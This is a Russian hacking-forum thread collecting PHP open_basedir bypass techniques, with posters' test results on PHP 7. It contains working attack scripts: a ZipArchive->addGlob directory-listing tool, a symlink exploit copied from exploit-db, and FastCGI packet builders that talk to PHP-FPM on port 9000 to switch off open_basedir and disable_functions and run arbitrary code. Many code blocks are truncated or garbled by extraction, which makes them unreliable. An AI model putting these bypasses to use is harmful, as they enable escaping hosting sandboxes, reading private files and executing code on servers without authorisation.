PDA

Просмотр полной версии : Bypass Open_basedir


Baskin-Robbins
22.09.2019, 18:58
По мотивам https://rdot.org/forum/showthread.php?t=1043

Старая тема о главном + немного добавим с гугла + тесты на 7 ветке === этот тред.

Вобщем что завелось у меня.

Ну и сразу crlf (https://antichat.com/members/285197/) подсказывает прикрепить ссыль на эту тему (https://antichat.com/threads/470018/), ибо "т.к. имея выполнение команд, байпасс бейсдира не сильно нужен"

Глава первая. Вспомнить всё...

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

finfo_*

--------------------------------------------------------------------------------------------------------------------------------------------------------------------


PHP:
$finfo=finfo_open(FILEINFO_MIME);$filename="/etc";var_dump(finfo_file($finfo,$filename));

Ругается на опенбэйздир или на отсутствие директории в зависимости от наличия директории.

Тест:

7.0.26

7.3.8-1

----------------------------------------------------------------------------------------------------------------------------------------------------------------

Glob(). Разный результат для отсутствующих и существующих файлов.

----------------------------------------------------------------------------------------------------------------------------------------------------------------


PHP:
var_dump(glob('/etc/hosts'));
var_dump(glob('/etc/does-not-exist'));

отсутствует:

array(0){}

присутствует:

bool(false)

Тест:

7.0.26

7.3.8-1

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

opendir()+readdir()+glob://

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

https://bugs.php.net/bug.php?id=73891

Разные ошибки для существующих и отсутствующих директорий.

Если использовать с glob:// то получим листинг.


PHP:
if ($dh=opendir($_GET['dir'])) {
while (($file=readdir($dh)) !==f alse) {
echo"$file\n";
}
closedir($dh);
}




Code:
http://localhost/1.php?dir=glob:///*

DirectoryIterator


PHP:
',ini_get('open_basedir'));
$file_list= array();
$it= newDirectoryIterator("glob:///*");
foreach ($itas$f){
$file_list[] =$f->__toString();
}

$it= newDirectoryIterator("glob:///.*");
foreach ($itas$f){
$file_list[] =$f->__toString();
}
sort($file_list);
foreach ($file_listas$f){
echo"{$f}
";
}


Тест:

7.0.26

7.3.8-1

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Не баг, а фича - функции posix_*

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

http://bugs.php.net/bug.php?id=16733


PHP:





PHP:


Тест:

7.0.26

7.3.8-1

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

imap_open()

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

https://bugs.php.net/bug.php?id=37265


PHP:
$string='/etc';imap_open($string,"","");

Снова разница в ошибках.

Тест:

7.3.8-1


PHP:
open_basedir: ';
if(ini_get('open_basedir'))
echo"".ini_get('open_basedir')."\n";
else
echo"false\n";
echo'Directory listing of '.$path."\n";
while(count($s=inc($s,0)) ";

functioncheck($s) {
global$alphabet,$path,$windows;
$str='a';
for($i=0;$i



--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Realpath().

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

http://bugs.php.net/bug.php?id=41492

Тест:

7.0.26

7.3.8-1


PHP:
open_basedir: ';
if(ini_get('open_basedir'))
echo"".ini_get('open_basedir')."\n";
else
echo"false\n";
echo'Directory listing of '.$path."\n";
while(count($s=inc($s,0)) ";

functioncheck($s) {
global$alphabet,$path,$windows;
$str='a';
for($i=0;$i



--------------------------------------------------------------------------------------------------------------------------------------------------------------------

include - разница в ошибках.

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Тест:

7.3.8-1


PHP:
0) {
echo$str.$ext.'
';
}
}

set_error_handler("eh");

echo'open_basedir = '.ini_get('open_basedir'). '
';
echo'include_path = '.ini_get('include_path'). '
';
echo'set include_path = '.$dir.'
';
ini_set('include_path',$dir);
echo'include_path = '.ini_get('include_path'). '
';

$s= array();
while(count($s=inc($s,0))


Глава вторая. Окей, гугл!

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Is_dir().

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

https://bugs.php.net/bug.php?id=69240


PHP:
var_dump(is_dir("/etc/passwd"));
var_dump(is_dir("/etc/passwd2"));

Тест:

7.0.26

7.3.8-1


PHP:
open_basedir: ';
if(ini_get('open_basedir'))
echo"".ini_get('open_basedir')."\n";
else
echo"false\n";
echo'Directory listing of '.$path."\n";
while(count($s=inc($s,0)) ";

functioncheck($s) {
global$alphabet,$path,$windows;
$str='a';
for($i=0;$i


--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Bindtextdomain

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Существует:

string(4) "/etc"

Отсутствует:

bool(false)

Тест:

7.0.26

7.3.8-1


PHP:
open_basedir: %s
',ini_get('open_basedir'));
$re=bindtextdomain('xxx',$_GET['dir']);
var_dump($re);
?>


--------------------------------------------------------------------------------------------------------------------------------------------------------------------

SplFileInfo + getRealPath

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Аналогично

Существует:

string(4) "/etc"

Отсутствует:

bool(false)

Тест:

7.0.26

7.3.8-1


PHP:
open_basedir: '.ini_get('open_basedir') .'
';
$info= newSplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>


Глава третья. Самое вкусное...

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

ZipArchive->addGlob

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Тест:

7.3.8-1


PHP:
addGlob open_basedir bypass, Directory Listing , by BlackFan
# 20.12.11

if(stripos(PHP_OS,'win') !==FALSE)
die('Windows glob does not sup port negative character classes');

if(!class_exists('ZipArchive'))
die('Class ZipArchive not found ');

$starttime=microtime(true);
$dir="/";
$R=false;
$regexp="/File\((.*)\) is not within/";
if(isset($_GET['dir']))$dir= ((string)$_GET['dir']);
if(isset($_GET['R']) and$_GET['R'] =='on')$R=true;
$dir=$dir.((substr($dir,-1) =='/') ?'':'/');

echo"open_basedir bypass, Directory Listing, by Bl ackFan";

echo"";
echo"Directory (absolute path): ";
echo" -R ";
echo"";

echo"";

$glob_dirs= array();
$dirs= array();
$files= array();
$lastfile='';
$tmp_zip_name="openbd.zip";

$z= newZipArchive();
$z->open($tmp_zip_name,ZIPARCHIVE::CREATE);

set_error_handler("error_handler");

$patterns_queue= array('*','.*');
$checked_chars= array();
$count=0;
do {
$lastfile='';
$z->addGlob($dir.array_shift($patterns_queue)."*",GLOB_MARK);

if($lastfile!=='') {
$is_dir= (substr($lastfile,-1) ==='/');
if(($Ror !$is_dir) andsu bstr($lastfile,-3) !=='../') {
array_push($patterns_queue,$lastfile.'?');
if($is_dir) {
array_push($patterns_queue,$lastfile.'.*');
}
}

$lenlf=strlen($lastfile);
for($i=1;$i";
if(count($dirs) !==0orcount($files) !==0 ) {
foreach($dirsas$item) {
$fp=$dir.$item;
if(substr($item,-3) =='../') {
$tmp=substr(($fp),0,strpos($fp,'/../'));
$tmp=substr($tmp,0,strrpos($tmp,'/'));
echo"{$item}
";
} else {
echo"{$item}
";
}
}
foreach($filesas$item) {
echo$item."
";
}
} else {
echo"Access denied or open_basedir = Off, back";
}
echo"\n\n$countglob iteration";
echo"\n".(count($dirs)+count($files))." files";

$z->close();
if(file_exists($tmp_zip_name))
unlink($tmp_zip_name);

echo"\nTime: ".(microtime(true) -$starttime)." seconds";
echo"";

functionerror_handler($errno,$errstr,$errf ile,$errline){
global$glob_dirs,$regexp,$lastfile ,$dir,$dirs,$files;
preg_match($regexp,$errstr,$o);
if(isset($o[1])){
$lastfile=substr($o[1],strpos($o[1],$dir)+strlen($dir));
if(!in_array($lastfile,$gl ob_dirs)) {
$glob_dirs[] =$lastfile;
if(substr($lastfil e,-1) =='/')
$dirs[] =$lastfile;
else
$files[] =$lastfile;
} else {
$lastfile='';
}
}
}
?>


--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Symlink() - отработало без вопросов.

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Тест:

7.3.8-1

Эксплоит взят с https://www.exploit-db.com/exploits/10557


PHP:
This is exploit from Security Audit Lab - SecurityReason labs.
Author : Maksymilian Arciemowicz
Script for legal use only.
PHP 5.2.12 5.3.1 symlink open_basedir bypass
More: SecurityReason
';

if(empty($file))
exit;

if(!is_writable("."))
die("not writable directory");

$level=0;

for($as=0;$ascheck symlink symlink'.$num.' file ');

?>

crlf
22.09.2019, 22:51
Молодец, что собрал в одном месте, но стоит отделить/категоризировать треш типа true/false от действительно полезныйх байпасов (symlink, glob:///*), где можно свободно листить диры и читать файлы.


Baskin-Robbins said:
↑ (https://antichat.live/posts/4333668/)
Is_dir()




Baskin-Robbins said:
↑ (https://antichat.live/posts/4333668/)
Glob().


На PHP 7.3.7 (FPM + Nginx) не работает

Пользуясь случаем, дополню треш подборку булевых байпасов своими находками:

[PHP]
PHP:
[COLOR="#0000BB"][COLOR="#007700"]

Baskin-Robbins
22.09.2019, 23:55
crlf said:
↑ (https://antichat.live/posts/4333713/)
Молодец, что собрал в одном месте, но стоит отделить/категоризировать треш типа
true/false
от действительно полезныйх байпасов (
symlink, glob:///*
), где можно свободно листить диры и читать файлы.


Спасибо за замечание, спустил их в самый низ. Что касается glob:///*то он так и не захотел спускаться ниже /* , впрочем как будет время помучаю его. А вот симлинк + зипархив да, отработали как надо.


crlf said:
↑ (https://antichat.live/posts/4333713/)
На PHP 7.3.7 (FPM + Nginx) не работает


Наверно важно в таком случае отметить что тестилось мной на mod_php.

crlf
23.09.2019, 00:11
Baskin-Robbins said:
↑ (https://antichat.live/posts/4333720/)
Что касается
glob:///*
то он так и не захотел спускаться ниже /*


Так ниже некуда, если мы про линь говорим, то он уже корень листит. Может в шиндовсе иное поведение, хз


Baskin-Robbins said:
↑ (https://antichat.live/posts/4333720/)
Наверно важно в таком случае отметить что тестилось мной на mod_php.


Ага, так будет вернее, может кто-то дотестит ещё. А для локальных кейсов с FPM, все эти свистопляски не нужны.

Ну и линк на эту (https://antichat.com/threads/470018/) тему вконце не повредит, т.к. имея выполнение команд, байпасс бейсдира не сильно нужен

Baskin-Robbins
23.09.2019, 00:27
crlf said:
↑ (https://antichat.live/posts/4333722/)
Так ниже некуда, если мы про линь говорим, то он уже корень листит.


я имел ввиду что /etc/* /var/* уже не хочет почему-то, что кст касается и других вариантов - /etc и тд брутит, а вот /etc/* ошибки не изменяются соответственно и брут уже не катит

crlf
23.09.2019, 00:36
Baskin-Robbins said:
↑ (https://antichat.live/posts/4333723/)
/etc и тд брутит, а вот /etc/* ошибки не изменяются соответственно и брут уже не катит


Кстати да, что-то обламывается. Но смутно помнится какой-то кейс, где glob отрабатывал, возможно что-то путаю

Baskin-Robbins
23.12.2019, 20:16
Каким-то странным образом пропустил такую вот интересную штуку

https://bugs.php.net/bug.php?id=70134

В данном случае нам позволяют не только листить диры, но и читать файлы за бэйздиром

Соответственно важно чтобы fpm крутился на 9000 порту

Протестировано на apache + php-fpm 7.3

+1 в копилочку нормальных байпасов

poc прикрепляю как есть


PHP:
$v) {
$params_encoded.=chr(strlen($k)).chr(strlen($v)).$ k.$v;
}

$len=strlen($params_encoded);
$len_encoded=chr($len>>8).chr($len&255);

$fp=fsockopen('127.0.0.1',9000);
fwrite($fp,"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x 00\x00\x00\x00");
fwrite($fp,"\x01\x04\x00\x01".$len_encoded."\x00\x00".$params_encoded);
fwrite($fp,"\x01\x04\x00\x01\x00\x00\x00\x00");
fwrite($fp,"\x01\x05\x00\x01\x00\x00\x00\x00");
sleep(2);
$result='';
while (!feof($fp)) {
$result.=fread($fp,1024);
}
fclose($fp);

$matches= array();
preg_match('/START.*END/s',$result,$matches);
echo$matches[0];
?>

crlf
23.12.2019, 20:31
crlf said:
↑ (https://antichat.live/posts/4333722/)
А для локальных кейсов с FPM, все эти свистопляски не нужны.


Я подумал, что все в курсе ещё с rdot-а Вроде первая реализация была от @d0znpp (https://rdot.org/forum/showpost.php?p=29592&postcount=19), но мне больше нравится вариант от @dharrya (https://rdot.org/forum/showpost.php?p=42600&postcount=6):


PHP:
0)
$host="tcp://${host}:${port}/";
else
$host="unix://${host}";

$connection=stream_socket_client($host,$errno,$err str,$timeout);
if ($connection) {
stream_set_timeout($connection,1);
fputs($connection,$packet);
while(!feof($connection)) {
$line=fgets($connection,4096);
if($line=="\r\n")
break;

$headers.=$line;
}

while(!feof($connection))
$body.=fgets($connection,4096);

fclose($connection);
if (strpos($headers,'Primary scr ipt unknown') !==false||strpos($headers,'Status: 404 Not Found') !==false) {
echo"Test failed:(\n";
echo$headers;
} else {
echo"Successful\n";
var_dump($headers);
var_dump($body);
}
} else {
echo"no connection:`(";
}
}

functioninitializeParams($id,$params= array()){
$type=4;
$data="";

foreach ($paramsas$key=>$value) {
$data.=pack("CN",strlen($key),(1"GET",
"SERVER_PROTOCOL"=>"HTTP/1.1",
"GATEWAY_INTERFACE"=>"CGI/1.1",
"SERVER_NAME"=>"localhost",
"HTTP_HOST"=>"localhost",
"REMOTE_ADDR"=>"127.0.0.1",
"SCRIPT_FILENAME"=>$scriptFile,
"PHP_ADMIN_VALUE"=>join("\n", [
"allow_url_fopen=On",
"allow_url_include=On",
"disable_functions=Off",
"open_basedir=Off",
"short_open_tag=On",
"auto_prepend_file=data:,".urlencode("")
])
)
);
$packet.=to_s(1,4);
$packet.=to_s(1,5);

return$packet;
}

$packet=buildPacket('echo "OK!";');
sendRequest('localhost',9000,$packet);




dharrya said:
Соответственно нужный тебе код в в функции buildPacket. Единственное условие - для выполнения произвольного кода, тебе нужно знать путь к одному ЛЮБОМУ php-файлу. Это может быть PEAR или Composer или что-угодно еще (e.g. ты нашел раскрытие пути в проекте).


open_basedir и diasble_functions просто перезаписываются. Скрипт может в HTTP/SOCK.

crlf
05.08.2020, 10:46
При использовании общего опкеша, можно почитать чужие секретики.

Bypass open_basedir with opcache

https://bugs.php.net/bug.php?id=79560